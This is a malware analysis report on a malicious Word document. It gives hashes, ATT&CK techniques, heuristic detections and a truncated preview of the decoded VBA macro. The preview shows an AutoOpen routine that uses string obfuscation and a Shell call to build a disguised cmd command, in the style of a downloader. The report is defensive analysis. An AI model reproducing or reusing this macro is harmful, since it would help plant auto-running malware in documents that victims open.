Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf03a466b13c1fa5…

MALICIOUS

Office (OLE)

78.8 KB Created: 2018-09-20 11:15:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 09f68f9d9658e7cfb562a9b3650a6a2f SHA-1: a9cf110347658a16015421cf0547cbdc0ac72e70 SHA-256: cf03a466b13c1fa5503aae35b3f0da18ca5e45d03ca81f9e28fab851713d670d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes automatically via the AutoOpen subroutine. The macro appears to be heavily obfuscated, making it difficult to determine its exact payload, but its presence and automatic execution strongly suggest it is designed to download and execute a second-stage payload. The heuristic firings confirm the presence of legacy and standard VBA macros, including an AutoOpen macro.

Heuristics 5

  • ClamAV: Doc.Malware.00536d-6691967-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6691967-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14918 bytes
SHA-256: 23b159fd04d87829146c9d45c6d6450ce2c1dd412d1897a998ebde1e1feecd6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ncriunTIQoP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const KMBwzErjWDb = 0
   Dim QKGkrS(2)
QKGkrS(0) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Left(OEZlA, 194)
QKGkrS(1) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
   Dim NcUjzi(2)
NcUjzi(0) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
NcUjzi(1) = Left(OEZlA, 194) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim GVCSq(2)
GVCSq(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
GVCSq(1) = Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
   Dim AGRIoa(4)
AGRIoa(0) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
AGRIoa(1) = Left(OEZlA, 194) + Left(OEZlA, 194)
AGRIoa(2) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
AGRIoa(3) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim tjolfn(3)
tjolfn(0) = Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194)
tjolfn(1) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Right(qkiRB, 199)
tjolfn(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
   Dim DaTjGi(4)
DaTjGi(0) = MidB(mlMmUt, 919, 986) + Left(OEZlA, 194)
DaTjGi(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
DaTjGi(2) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
DaTjGi(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
   Dim EMXET(2)
EMXET(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
EMXET(1) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
Shell@ iwNWN + GFPndUKoZBG + TfnOpMIcdIjkBw + GFQjRrwAIlKMDa, KMBwzErjWDb
   Dim MZohJp(2)
MZohJp(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
MZohJp(1) = Right(qkiRB, 199) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
   Dim QXpInj(4)
QXpInj(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
QXpInj(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
QXpInj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
QXpInj(3) = Right(qkiRB, 199) + Left(OEZlA, 194)
End Sub


Attribute VB_Name = "joAZAGcbhmF"
Function iwNWN()
Dim pMwzj(5)
pMwzj(0) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
pMwzj(1) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
pMwzj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
pMwzj(3) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986)
pMwzj(4) = Left(OEZlA, 194) + Right(qkiRB, 199)
   Dim jkQLi(2)
jkQLi(0) = Right(qkiRB, 199) + Right(qkiRB, 199)
jkQLi(1) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim XGFTC(4)
XGFTC(0) = MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
XGFTC(1) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
XGFTC(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
XGFTC(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
sWilwjrPZI = CStr(Chr(CleanString(9 + 10 + 18 + 0 + 62))) + "md /" + "V/" + CStr(Chr(CleanString(6 + 7 + 12 + 0 + 42))) + CStr(Chr(CleanString(2 + 3 + 5 + 0 + 24))) + "^se^t" + " D^w" + "T^F=    ^ ^ " + "^   " + " ^ ^ ^ ^ ^ "
Dim wlGRfo(3)
wlGRfo(0) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
wlGRfo(1) = Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
wlGRfo(2) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim MBqPc(3)
MBqPc(0) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
MBqPc(1) = Mid(pJwtDrb, 47
... (truncated)

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